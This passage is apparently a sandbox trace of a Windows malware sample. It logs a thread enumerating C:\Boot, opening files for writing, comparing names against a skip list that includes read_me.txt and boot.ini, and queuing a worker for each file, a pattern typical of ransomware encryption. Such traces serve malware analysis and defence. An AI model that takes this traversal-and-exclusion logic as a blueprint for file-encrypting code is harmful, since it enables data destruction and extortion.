hHeap=0x540000) returned 1 [0086.383] CloseHandle (hObject=0x934) returned 1 [0086.385] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 111 Thread: id = 4 os_tid = 0x274 Thread: id = 5 os_tid = 0x33c Thread: id = 6 os_tid = 0x2a8 [0077.507] GetProcessHeap () returned 0x540000 [0077.507] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41c0088 [0077.508] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\*") returned 13 [0077.508] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.508] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\.") returned 13 [0077.508] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.508] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\..") returned 14 [0077.508] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0077.508] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD") returned 15 [0077.508] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.509] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0077.509] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG") returned 19 [0077.509] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.509] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0077.509] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG1") returned 20 [0077.509] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0077.509] StrStrW (lpFirst="bcd.log1", lpSrch="read_me.txt") returned 0x0 [0077.509] StrStrW (lpFirst="bcd.log1", lpSrch="autoexec.bat") returned 0x0 [0077.509] StrStrW (lpFirst="bcd.log1", lpSrch="desktop.ini") returned 0x0 [0077.509] StrStrW (lpFirst="bcd.log1", lpSrch="autorun.inf") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log1", lpSrch="ntuser.dat") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log1", lpSrch="iconcache.db") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log1", lpSrch="bootsect.bak") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log1", lpSrch="boot.ini") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log1", lpSrch="ntuser.dat.log") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log1", lpSrch="thumbs.db") returned 0x0 [0077.510] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 0 [0077.510] QueueUserWorkItem (Function=0x404e00, Context=0x7ac, Flags=0x0) returned 1 [0077.510] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0077.510] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG2") returned 20 [0077.510] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.510] StrStrW (lpFirst="bcd.log2", lpSrch="read_me.txt") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log2", lpSrch="autoexec.bat") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log2", lpSrch="desktop.ini") returned 0x0 [0077.510] StrStrW (lpFirst="bcd.log2", lpSrch="autorun.inf") returned 0x0 [0077.511] StrStrW (lpFirst="bcd.log2", lpSrch="ntuser.dat") returned 0x0 [0077.511] StrStrW (lpFirst="bcd.log2", lpSrch="iconcache.db") returned 0x0 [0077.511] StrStrW (lpFirst="bcd.log2", lpSrch="bootsect.bak") returned 0x0 [0077.511] StrStrW (lpFirst="bcd.log2", lpSrch="boot.ini") returned 0x0 [0077.511] StrStrW (lpFirst="bcd.log2", lpSrch="ntuser.dat.log") returned 0x0 [0077.511] StrStrW (lpFirst="bcd.log2", lpSrch="thumbs.db") returned 0x0 [0077.511] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 1 [0077.511] QueueUserWorkItem (Function=0x404e00, Context=0x7b0, Flags=0x0) returned 1 [0077.511] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0077.511] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BOOTSTAT.DAT") returned 24 [0077.511] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.511] StrStrW (lpFirst="bootstat.dat", lpSrch="read_me.txt") returned 0x0 [0077.511] StrStrW (lpFirst="bootstat.dat", lpSrch="autoexec.bat") returned 0x0 [0077.511] StrStrW (lpFirst="bootstat.dat", lpSrch="desktop.ini") returned 0x0 [0077.511] StrStrW (lpFirst="bootstat.dat", lpSrch="autorun.inf") returned 0x0 [0077.511] StrStrW (lpFirst="bootstat.dat", lpSrch="ntuser.dat") returned 0x0 [0077.511] StrStrW (lpFirst="bootstat.dat", lpSrch="iconcache.db") returned 0x0 [0077.512] StrStrW (lpFirst="bootstat.dat", lpSrch="bootsect.bak") returned 0x0 [0077.512] StrStrW (lpFirst="bootstat.dat", lpSrch="boot.ini") returned 0x0 [0077.512] StrStrW (lpFirst="bootstat.dat", lpSrch="ntuser.dat.log") returned 0x0 [0077.512] StrStrW (lpFirst="bootstat.dat", lpSrch="thumbs.db") returned 0x0 [0077.512] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 2 [0077.512] QueueUserWorkItem (Function=0x404e00, Context=0x7b8, Flags=0x0) returned 1 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU") returned 17 [0077.512] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0077.512] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT") returned 17 [0077.513] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0077.513] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP") returned 17 [0077.513] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0077.513] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR") returned 17 [0077.513] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0077.513] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\memtest.exe") returned 23 [0077.513] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.513] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0077.513] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO") returned 17 [0077.513] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0077.513] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL") returned 17 [0077.513] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0077.513] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL") returned 17 [0077.513] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR") returned 17 [0077.514] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT") returned 17 [0077.514] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU") returned 17 [0077.514] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\sv-SE") returned 17 [0077.514] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\tr-TR") returned 17 [0077.514] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75e7b782, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0077.514] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, 